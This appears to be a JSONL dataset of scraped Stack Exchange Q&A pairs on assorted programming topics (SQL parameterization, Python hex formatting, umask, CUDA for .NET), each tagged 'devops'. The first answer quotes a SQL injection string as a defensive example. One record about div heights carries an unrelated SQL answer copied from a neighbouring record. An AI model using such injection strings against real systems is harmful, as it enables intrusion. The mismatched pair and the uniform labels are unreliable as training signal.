{"id": "hf_2196df64b823", "question": "<p>Taking over some code from my predecessor and I found a query that uses the Like operator:</p>\n<pre><code>SELECT * FROM suppliers\nWHERE supplier_name like '%'+name+%';\n</code></pre>\n<p>Trying to avoid SQL Injection problem and parameterize this but I am not quite sure how this would be accomplished. Any suggestions ?</p>\n<p>note, I need a solution for classic ADO.NET - I don't really have the go-ahead to switch this code over to something like LINQ.</p>\n", "question_body": "", "answer": "Simply parameterize your query:\n```\n```\nSELECT * FROM suppliers WHERE supplier_name like '%' + @name + '%'\n```\n```\nNow you can pass your \"name\" variable into the @name parameter and the query will execute without any danger of injection attacks. Even if you pass in something like \"'' OR true --\" it'll still work fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.434695"}
{"id": "hf_3139921f511c", "question": "<p>I would like to determine the operating system of the host that my Java program is running programmatically (for example: I would like to be able to load different properties based on whether I am on a Windows or Unix platform). What is the safest way to do this with 100% reliability?</p>\n", "question_body": "", "answer": "You can use:\n```\n```\nSystem.getProperty(\"os.name\")\n```\n```\nP.S. You may find this code useful:\n```\n```\nclass ShowProperties {\n    public static void main(String[] args) {\n        System.getProperties().list(System.out);\n    }\n}\n```\n```\nAll it does is print out all the properties provided by your Java implementations. It'll give you an idea of what you can find out about your Java environment via properties. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.458205"}
{"id": "hf_11c6c940dbb9", "question": "<p>The goal: Any language. The smallest function which will return whether a string is a palindrome. Here is mine in <b>Python</b>:</p>\n\n<pre><code>R=lambda s:all(a==b for a,b in zip(s,reversed(s)))\n</code></pre>\n\n<p>50 characters.</p>\n\n<p>The accepted answer will be the current smallest one - this will change as smaller ones are found. Please specify the language your code is in.</p>\n", "question_body": "", "answer": "Here's mine; it's written in a domain-specific language I invented, called 'palindrome'.\n```\n```\np\n```\n```\nEdit:\nLess flippant version (i386 asm, AT&T syntax)\n```\n```\nxor %eax, %eax\nmov %esi, %edi\n#cld    not necessary, assume DF=0 as per x86 ABI\nrepne scasb\nscan:\n    dec %edi\n    cmpsb\n    .byte 0x75, 6    #jnz (short) done\n    dec %edi\n    cmp %esi, %edi\n    .byte 0x72, -9    #jb (short) scan\ninc %eax\ndone:\n```\n```\n16 bytes, string pointer goes in ESI, result is in EAX.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.516304"}
{"id": "hf_726af4f5ee78", "question": "<p>Is there someway to set the default file permission in Linux? That is, the file permission for a newly created file (regardless of the context for which it was created\n). I know about putting umask in the shell startup but that only works for shell sessions. When I transfer files to a Linux box using <strong>pscp</strong>, the file is always created with permissions of 664 (rw-rw-r--). The has occurred across every flavor of Linux that I've used. This is especially annoying when I pscp a file to shared Linux machine (like my ISP). Until I can shell in and chmod the permission, the file is basically sitting there with read access for everyone, which is not exactly secure.</p>\n", "question_body": "", "answer": "Put the umask in the non-interactive shell startup (\n```\n.bash_profile\n```\n,\n```\n.zshenv\n```\n,\n```\n.tcshrc\n```\ndepending on your shell). Then it'll run for non-login sessions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.564666"}
{"id": "hf_501b185ebfe9", "question": "<p>I have GridView which I can select a row. I then have a button above the grid called Edit which the user can click to popup a window and edit the selected row. So the button will have Javascript code behind it along the lines of</p>\n\n<pre><code>function editRecord()\n{\n  var gridView = document.getElementById(\"&lt;%= GridView.ClientID %&gt;\");\n  var id = // somehow get the id here ???\n  window.open(\"edit.aspx?id=\" + id);\n}\n</code></pre>\n\n<p>The question is how do I retrieve the selected records ID in javascript?</p>\n", "question_body": "", "answer": "1) change your javascript function to use a parameter\n```\n```\nfunction editRecord(clientId)\n{ ....\n```\n```\n2) output the call in your editRecord button... if you want to avoid dealing with the .net generated ids, just use a simple\n```\n```\n<input type=\"button\" onclick=\"editRecord(your-rows-client-id-goes-here)\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.616919"}
{"id": "hf_fe9afeaf3539", "question": "<p>currently i obtain  the below result from the following C# line of code when in es-MX Culture</p>\n\n<pre><code>   Thread.CurrentThread.CurrentCulture =\n     Thread.CurrentThread.CurrentUICulture = new\n                CultureInfo(\"es-mx\");\n\n  &lt;span&gt;&lt;%=DateTime.Now.ToLongDateString()%&gt;&lt;/span&gt;\n</code></pre>\n\n<h1>miércoles, 22 de octubre de 2008</h1>\n\n<p>i would like to obtain the following</p>\n\n<h1>Miércoles, 22 de Octubre de 2008</h1>\n\n<p>do i need to Build my own culture?</p>\n", "question_body": "", "answer": "The pattern of LongDate for Spanish (Mexico) is\n```\ndddd, dd' de 'MMMM' de 'yyyy\n```\naccording to\nThread.CurrentThread.CurrentCulture.DateTimeFormat.LongDatePattern\n. I guess you just have to manually convert the initial letters of the day and month to uppercase or you can use\nThread.CurrentThread.CurrentCulture.TextInfo.ToTitleCase\nand then replace \"De\" with \"de\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.640548"}
{"id": "hf_1d3d3d9bf62f", "question": "<p>A couple of the options are:</p>\n\n<pre><code>$connection = {my db connection/object};\n\nfunction PassedIn($connection) { ... }\n\nfunction PassedByReference(&amp;$connection) { ... }\n\nfunction UsingGlobal() {\n    global $connection;\n    ...\n}\n</code></pre>\n\n<p>So, passed in, passed by reference, or using global. I'm thinking in functions that are only used within 1 project that will only have 1 database connection. If there are multiple connections, the definitely passed in or passed by reference.</p>\n\n<p>I'm thining passed by reference is not needed when you are in PHP5 using an object, so then passed in or using global are the 2 possibilities.</p>\n\n<p>The reason I'm asking is because I'm getting tired of always putting in $connection into my function parameters.</p>\n", "question_body": "", "answer": "None of the above.\nAll the\n```\nmysql\n```\nfunctions take the database connection argument\noptionally\n. If you leave that argument out, the last connection by mysql_connect() is assumed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.697688"}
{"id": "hf_748c0774bce2", "question": "<p>Can anybody explain the idea behind JSP custom tag libraries and the JSP 2 tag files?</p>\n\n<p>Are they just different ways to do the same thing?</p>\n\n<p>How do they compare? What are their pros and cons, and which is better?</p>\n", "question_body": "", "answer": "Problems Developing Custom Tags\nTraditional custom tags require Java programming\nskills.\nAll but the simplest custom tags are not easy to write.\nThe purpose of JSP, in contrast to servlets, is to use\nmarkup language to manage layout with embedded\ndynamic content.\nHaving to write complex Java code\nin custom tags that focus on markup language is going\nbackwards.\nWe might want to use the JSP expression language or\nother custom tags when implementing a new custom\ntag.\nThe Solution\nJSP 2.0 Tag Files\nTag files are one of the important new concepts introduced with JSP 2.0.\nTag files permit easier and more rapid development of custom tags.\nTag files are developed using normal JSP syntax,including scripting elements, and used just like any other custom tag.\nEach custom tag is a separate tag file.\nHow Do Tag Files Differ?\nWritten using JSP syntax.\nNot all JSP directives are permitted in a tag file.\nSupported by new tag file specific directives, actions and implicit objects.\nIdentified by either a\n.tag\nor\n.tagx\nsuffix.\nIntended to provide custom tag developers ease of development without loss of functionality.\nOne of the lead developers of JSTL has commented thatif she had the time, she would rewrite all of JSTL using tag files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.744115"}
{"id": "hf_eb311c4a7679", "question": "<p>I keep hearing people complaining that C++ doesn't have garbage collection. I also hear that the C++ Standards Committee is looking at adding it to the language. I'm afraid I just don't see the point to it... using RAII with smart pointers eliminates the need for it, right?</p>\n\n<p>My only experience with garbage collection was on a couple of cheap eighties home computers, where it meant that the system would freeze up for a few seconds every so often. I'm sure it has improved since then, but as you can guess, that didn't leave me with a high opinion of it.</p>\n\n<p>What advantages could garbage collection offer an experienced C++ developer?</p>\n", "question_body": "", "answer": "The committee isn't adding garbage-collection, they are adding a couple of features that allow garbage collection to be more safely implemented. Only time will tell whether they actually have any effect whatsoever on future compilers. The specific implementations could vary widely, but will most likely involve reachability-based collection, which could involve a slight hang, depending on how it's done.\nOne thing is, though, no standards-conformant garbage collector will be able to call destructors - only to silently reuse lost memory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.791860"}
{"id": "hf_69f19bbc6bbb", "question": "<p>This may be a simple fix - but I'm trying to sum together all the nodes (Size property from the Node class) on the binary search tree. Below in my BST class I have the following so far, but it returns 0:</p>\n\n<pre><code>    private long sum(Node&lt;T&gt; thisNode)\n    {\n        if (thisNode.Left == null &amp;&amp; thisNode.Right == null)\n            return 0;\n        if (node.Right == null)\n            return sum(thisNode.Left);\n        if (node.Left == null) \n            return sum(thisNode.Right);\n\n\n        return sum(thisNode.Left) + sum(thisNode.Right);\n    }\n</code></pre>\n\n<p>Within my Node class I have Data which stores Size and Name in their given properties. I'm just trying to sum the entire size. Any suggestions or ideas?</p>\n", "question_body": "", "answer": "Maybe you meant\n```\n```\nif (thisNode.Left == null && thisNode.Right == null)\n        return thisNode.Size;\n```\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.815734"}
{"id": "hf_4be608e79ddc", "question": "<p>I'm looking for syntatic examples or common techniques for doing regular expression style transformations on words instead of characters, given a procedural language. </p>\n\n<p>For example, to trace copying, one would want to create a document with similar meaning but with different word choices.</p>\n\n<p>I'd like to be able to concisely define these possible transformations that I can apply to a text stream.</p>\n\n<p>Eg.  \"fast <em>noun</em>\" to \"rapid <em>noun</em>\", but \"go fast.\" wouldn't get transformed (no noun afterwards.<br>\nOr:  \"Alice will sing <em>song</em>\"  to \"<em>song</em> will be sung by Alice\"   </p>\n\n<p>I'd expect this to be done in grammatical checkers, such as detecting passive voice.   </p>\n\n<p>A C# implementation for this sort of language-processing would be really neat, but I think the bulk of any effort is coming up with the right rules - Keeping the rules clear and understandable seems like a place to begin.</p>\n", "question_body": "", "answer": "A good place to start would be SIL's\nCARLAStudio\nfor its \"Computer Assisted Related Language Adaptation\" suite. Alternatively SIL's\nAdapt It\n. SIL has a huge range of linguistic analysis software, which is the direction you appear to be going. It's certainly a big jump from regular expressions, which don't care about the meaning, to something that can handle linguistic analysis.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.864345"}
{"id": "hf_778e20b984f2", "question": "<p>I want to continuously sample from my PC's audio line in using C# (then process that data). What is the best way to do the sampling?</p>\n", "question_body": "", "answer": "There are no built-in libraries in the .NET framework for dealing with sound, but if you're on Win32, you can use an unmanaged library like DirectSound to do it.\nIanier Munoz shows\nhow to write a full-duplex audio player in C# using\nwaveIn\nvia P/Invoke\non CodeProject.  He mentions\nManaged DirectSound\nas a more general method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.889157"}
{"id": "hf_77b599f94ec3", "question": "<p>I would like to send some keystrokes from a C++ program into another window.</p>\n\n<p>For that reason I would like to have the user select the target window similar to how it is done in the Spy++ utility that comes with Visual Studio (drag a crosshair cursor over target window and have target window highlighted by a frame).</p>\n\n<p>How is this dragging and selecting done in Windows? I am completely lost as to where I might start to look for a mechanism to implement this feature.</p>\n", "question_body": "", "answer": "Here's how it's usually done:\nCapture the mouse using\nSetCapture\n. This will cause all mouse messages to be routed toward your app's window.\nHandle the\nWM_MOUSEMOVE\nmessage. In your handler code, grab the window underneath the mouse using\nWindowFromPoint\n. That will get you the HWND of the window the mouse is currently over.\nNow that you've got the window, you need a device context (HDC). You can get one using\nGetWindowDC\nfor the specified window.\nNow you can draw into the DC using typical GDI functions.\nThere are some things you have to look out for - cleanly erasing the selection rectangle and so forth, but that's one way to do it.\nYou could also draw into a screen DC to do this, but in any case you'll need the window handle in order to get the window rect.\nIf you Google around Spy++ source code you'll see a few examples of this technique.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.933935"}
{"id": "hf_4fac2748f716", "question": "<p>If I have a source.c file with a struct:</p>\n\n<pre><code>struct a { \n    int i;\n    struct b {\n        int j;\n    }\n};\n</code></pre>\n\n<p>How can this struct be used in another file (i.e. <code>func.c</code>)?</p>\n\n<p>Should I create a new header file, declare the struct there and include that header in <code>func.c</code>?</p>\n\n<p>Or should I define the whole struct in a header file and include that in both <code>source.c</code> and <code>func.c</code>?  How can the struct be declared <code>extern</code> in both files?</p>\n\n<p>Should I <code>typedef</code> it? If so, how?</p>\n", "question_body": "", "answer": "a.h:\n```\n```\n#ifndef A_H\n#define A_H\n\nstruct a { \n    int i;\n    struct b {\n        int j;\n    }\n};\n\n#endif\n```\n```\nthere you go, now you just need to include a.h to the files where you want to use this structure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.973198"}
{"id": "hf_c7edd5c1177b", "question": "<p>Say I have the classic 4-byte signed integer, and I want something like</p>\n<pre><code>print hex(-1)\n</code></pre>\n<p>to give me something like</p>\n<blockquote>\n<p>0xffffffff</p>\n</blockquote>\n<p>In reality, the above gives me <code>-0x1</code>. I'm dawdling about in some lower level language, and python commandline is quick n easy.</p>\n<p>So.. is there a way to do it?</p>\n", "question_body": "", "answer": "This will do the trick:\n```\n```\n>>> print(hex (-1 & 0xffffffff))\n0xffffffff\n```\n```\nor, a variant that always returns fixed size (there may well be a better way to do this):\n```\n```\n>>> def hex3(n):\n...     return \"0x%s\"%(\"00000000%s\"%(hex(n&0xffffffff)[2:-1]))[-8:]\n...\n>>> print hex3(-1)\n0xffffffff\n>>> print hex3(17)\n0x00000011\n```\n```\nOr, avoiding the hex() altogether, thanks to Ignacio and bobince:\n```\n```\ndef hex2(n):\n    return \"0x%x\"%(n&0xffffffff)\n\ndef hex3(n):\n    return \"0x%s\"%(\"00000000%x\"%(n&0xffffffff))[-8:]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.996233"}
{"id": "hf_d077966e7218", "question": "<p>Now that Silverlight 2 has finally shipped. I'm wondering if anyone has put together any logging frameworks for it, maybe something like <a href=\"http://msdn.microsoft.com/en-us/library/ff647183.aspx\" rel=\"noreferrer\">enterprise library logging</a> or <a href=\"http://logging.apache.org/log4net/\" rel=\"noreferrer\">log4net</a>? I'm interesting in something that can perform tracing client side and also log messages to the server.</p>\n\n<p>So far the only project I have found is <a href=\"http://clog.codeplex.com/\" rel=\"noreferrer\">Clog</a> on <a href=\"http://www.codeproject.com/KB/silverlight/SilverlightLogging.aspx\" rel=\"noreferrer\">CodeProject</a>. Has anyone used this? What were your thoughts on it?</p>\n", "question_body": "", "answer": "I am about to delve into something similar myself for a product we've written. I'm considering using PostSharp for Silverlight to add client-side logging as an aspect.\nI have used the NLog project with great success before under the full .NET Framework and the Compact Framework so I'll most likely take the existing framework code and add some logging targets:\nA standard System.Diagnostics target to enable capturing using DebugView, etc.\nAn asynchronous Web service target similar to the one in NLog.\nAn isolated storage target with deferred transfer to server semantics.\nI've briefly looked at Clog and it seems to suffer from one major flaw - it can't log a connection failure. So assuming your Web server is online all the time, yes it will work, but when problems occur upstream or on the server itself, the logging data is all lost and might even crash your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.054616"}
{"id": "hf_c5a3986a29e5", "question": "<p>Im creating a report using crystal report in vb.net.</p>\n\n<p>The report contained a crosstab which I have 3 data:\n1. Dealer - row field\n2. Month - column\n3. Quantity Sales - summarize field</p>\n\n<p>How can I arrange this by ascending order based on the \nQuantity Sales - summarize field?</p>\n\n<p>thanks</p>\n", "question_body": "", "answer": "Depending on how you're working with it, you can adjust the input to order the data ascending.\n```\n```\nSELECT customer, sum(amountdue) AS total FROM invoices \nGROUP BY customer\nORDER BY total ASC\n```\n```\nIf you're doing in a way that you can't change that information, could you provide a little more insight?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.078701"}
{"id": "hf_12b8e0ce0d56", "question": "<p>The coding is done using VS2008\nThere are two divs in my page namely \"dvLeftContent\" and \"dvRightContent\".\nI cannot statically set the height of the pages since \"dvRightContent\" have variable heights on various pages (Master Pages are used here)\nIs there a client side function(javascript or jquery) that takes the height of the right div and assigns it to left div?</p>\n", "question_body": "", "answer": "Depending on how you're working with it, you can adjust the input to order the data ascending.\n```\n```\nSELECT customer, sum(amountdue) AS total FROM invoices \nGROUP BY customer\nORDER BY total ASC\n```\n```\nIf you're doing in a way that you can't change that information, could you provide a little more insight?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.102792"}
{"id": "hf_5179e078108a", "question": "<p>As an example, lets say I wanted to list the frequency of each letter of the alphabet in a string. What would be the easiest way to do it?</p>\n\n<p>This is an example of what I'm thinking of... the question is how to make allTheLetters equal to said letters without something like allTheLetters = \"abcdefg...xyz\". In many other languages I could just do letter++ and increment my way through the alphabet, but thus far I haven't come across a way to do that in python.</p>\n\n<pre><code>def alphCount(text):\n  lowerText = text.lower()\n  for letter in allTheLetters:  \n    print letter + \":\", lowertext.count(letter)\n</code></pre>\n", "question_body": "", "answer": "Something like this?\n```\n```\nfor letter in range(ord('a'), ord('z') + 1):\n  print chr(letter) + \":\", lowertext.count(chr(letter))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.139460"}
{"id": "hf_be3277afb306", "question": "<p>I know that there are a lot of CUDA language bindings, such as PyCUDA, but are there any <em>good</em> bindings for .Net? The only one I've seen is <a href=\"http://www.gass-ltd.co.il/en/products/cuda.net/\" rel=\"noreferrer\">this one</a>, but I'd like to know if there are any others.</p>\n", "question_body": "", "answer": "Here's another library:\nhttp://sourceforge.net/projects/brahma-fx/\nEdit\n: I've been looking at the documentation for the project you initially listed, and can say that the interface makes me think: what is the point of using .Net.  The project I've listed has a cleaner interface but no documentation.  The project you listed seems to be more dedicated in the development path ( a recent 2.1 release), but the SVN of Brahma isn't too old (5 wks).\nAnother poster listed the Accelerator framework.  It looks\nvery\npromising, although its license is non-commercial (you must contact them if you intend to use it for any commercial work), and when I installed it, it said it installed right and I can't find it on my system (this could have been a Vista issue)!\nEDIT\n: I have looked into the various libraries, and can say here is my \"recommendations\":\nIf you are planning on using LINQ and only .Net 3.5, use Brahma.\nIf you are non-commercial in your goal, use the Accelerator project that the other poster gave (Tim, I believe).  It is higher level than the project you mentioned.\nIf you don't care about low-level details, but very active project and documentation is desired then go with the project you listed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.164460"}
{"id": "hf_19200fcd8389", "question": "<p>(mingw32, windows xp)\nHello, I am attempting to migrate from Java to c++. I am confused and frustrated about finding, installing, and compiling non-standard c++ libraries. in Java it's so convenient they stuffed every functionality and documentation ever needed in java's standard api. Is there a list of essential c++ library such as Threading, gui, networking, image\\ audio processing, xml, etc.etc. in one place? or possibly, offered as a single package? </p>\n\n<p>I tried installing QT library for weeks and it wont even compile. in Java i used to learn by trial-and-error to learn new aspect of functionality, but that would be impossible if i can't fetch and run new api in the first place.</p>\n\n<p>please, i need your suggestion, originally i wanted to break free of Java's abstraction, but now i just want to be able to use c++ before I decided shooting myself in the head.</p>\n", "question_body": "", "answer": "The C++ standard library is extremely light. It contains nowhere near the functionality offered by the Java runtimes or by the .NET CLR.\nThe\nBoost\nlibraries add a whole bunch of functionality to C++, but not much (if any) in the area of user interface.\nFor UI, there's the question of which platform you're targetting. If it's Win32, then you can use the straight Win32 API (mostly designed for C, but there are some C++ wrappers for parts of it). If you want cross-platform, then you're looking at QT or GTK (although there are others).\nBut, as Andrew already said: \"why do you want to learn C++ anyway?\". Don't get me wrong: I program in C++ for a living, and actually enjoy it (although I'm beginning to suspect a case of Stockholm Syndrome). If I had to start again, I'd go with a more modern language and environment (Java or C#; or Ruby or Python).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.201747"}
{"id": "hf_5c36873051f7", "question": "<p>I want to write a odometer-like method in a C#-style-language, but not just using 0-9 for characters, but any set of characters. It will act like a brute-force application, more or less.</p>\n\n<p>If I pass in a char-array of characters from <strong>0</strong> to <strong>J</strong>, and set length to 5, I want results like <em>00000, 00001, 00002... HJJJJ, IJJJJJ, JJJJJ</em>.</p>\n\n<p>Here is the base, please help me expand:</p>\n\n<pre><code>protected void Main()\n{\n    char[] chars = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',\n        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J' };\n\n    BruteForce(chars, 5);\n}\n\nprivate void BruteForce(char[] chars, int length)\n{\n    // for-loop (?) console-writing all possible combinations from 00000 to JJJJJ\n    // (when passed in length is 5)\n    // TODO: Implement code...\n}\n</code></pre>\n", "question_body": "", "answer": "Google for permutations.\nIf however you are just dealing with that 'hex' range, just do the following:\n```\n```\nfor (int i = 0; i < (1 << 24); i++)\n  string s = i.ToString(\"X6\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.262663"}
{"id": "hf_8398d29a90ac", "question": "<p>I need a little help on this subject.</p>\n\n<p>I have a Web application written in ASP.NET plus I have the .bak file of the SQL Express database, my question is: How can I install this in a simple click and go way in the client?</p>\n\n<p>how can I write a script that will create a new database, restore the bak file into that database, set up IIS and ... well, that's it :)</p>\n\n<p>I do this all manually, and I do this a lot, so I was just asking if there is a way to prevent do all this steps manually.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You could use\nWiX\nto create a .msi that you can use to install your application at your clients.  WiX takes a bit to get used to, but once you get the hang of it, you'll meet your needs above, and be able to extend them as your application grows or increases in complexity from the installation point of view.\nI read your question to mean you have several clients where you install your application, if that is not the case, and your app exists in one place, there are better solutions, and better people to give them to you!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.311465"}
{"id": "hf_907912ff621b", "question": "<p>what is the best practice for multilanguage website using DOM Manipulating with javascript? I build some dynamic parts of the website using javascript. My first thought was using an array with the text strings and the language code as index. Is this a good idea?</p>\n", "question_body": "", "answer": "When I've built multi-lingual sites before (not very large ones, so this might not scale too well), I keep a series of \"language\" files:\nlang.en.js\nlang.it.js\nlang.fr.js\nEach of the files declares an object which is basically just a map from key word to language phrase:\n```\n```\n// lang.en.js\nlang = {\n    greeting : \"Hello\"\n};\n\n// lang.fr.js\nlang = {\n    greeting : \"Bonjour\"\n};\n```\n```\nDynamically load one of those files and then all you need to do is reference the key from your map:\n```\n```\ndocument.onload = function() {\n    alert(lang.greeting);\n};\n```\n```\nThere are, of course, many other ways to do this, and many ways to do this style but better: encapsulating it all into a function so that a missing phrase from your \"dictionary\" can be handled gracefully, or even do the whole thing using OOP, and let it manage the dynamic including of the files, it could perhaps even draw language selectors for you, etc.\n```\n```\nvar l = new Language('en');\nl.get('greeting');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.347998"}
{"id": "hf_b52e538cf374", "question": "<p>We are a small company and would like to know the best possible (and affordable) hardware and software configuration we ought to be using for our development environment. At this moment we are a team of four people who work remotely from different locations and each one of us uses a laptop and ADSL connection to work on our projects.</p>\n\n<p>This question should help us identify a path towards optimizing our hardware and software so as to make the most of these development environments. Do we need to run everything locally on the laptops or some sort of distributed solution is possible? Which software versions do you recommend given that both Windows 2008 and SQL Server 2008 are available options? Do we use a central server or run these locally on our laptops? </p>\n\n<p>We're a young team so any help would be welcome and much appreciated! Thanks!</p>\n\n<p>Ym</p>\n", "question_body": "", "answer": "For a team, I would suggest that you set up the local environments (laptops) as development environments, with a local DB copy and running CF developer version.  Version control (VSS, Subversion, Git, etc.) is pretty much mandatory.\nHave a testing/staging/QA server with the same configuration as the live version (as much as this is possible).  It should have its own CF license to follow the licensing agreement.  You should put checked-in code here for everyone to test and to check integration.  Several version control systems offer ways to automate this, or you could do this manually.\nProduction, obviously, should be its own thing.  I would suggest that you separate the database and app/web server on two separate boxes.\nI know this might be a little more/less than you were asking, so feel free to ask for clarification.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.439662"}
{"id": "hf_3150af5e4e52", "question": "<p>Okay I know I asked about this before, and the answer was basically cache data that doesn't change often.</p>\n\n<p>Well what does one do when at least 99.9% of the data changes?</p>\n\n<p>In my project the only tables that doesn't get updated or won't get updated frequently would be the member profile info (name/address, and settings)</p>\n\n<p>So how does one still enable some kind of caching but keep and make sure the data being viewed is updated when changes are applied?</p>\n", "question_body": "", "answer": "I guess, it's not really 99.9% of all data that changes, but it's in 99.9% of all data locations that changes happen.\nFor example, if you are running a bulletin board, that means that there will be a steady stream of new posts, but old posts will remain the same, and even old threads will stay unchanged for a long, long time.\nIn that case, you'll need a way to invalidate old cached data, so that you can build a cache as soon as a thread (in the example) is viewed. If there is a change to ONE of these threads (i.e. when someone adds a new post), this one cached item is deleted/marked outdated, so the next time it is viewed, it will be rebuilt. Other items that still haven't changed will use the cache, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.476211"}
{"id": "hf_f34b2273c1ad", "question": "<p>How do you find out the local time of the user browsing your website in ASP.NET?  </p>\n", "question_body": "", "answer": "You have to use JavaScript in the client side that will get the local time and pass that value to server side. You can pass it using querystring, hidden fields or even AJAX magic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.510811"}
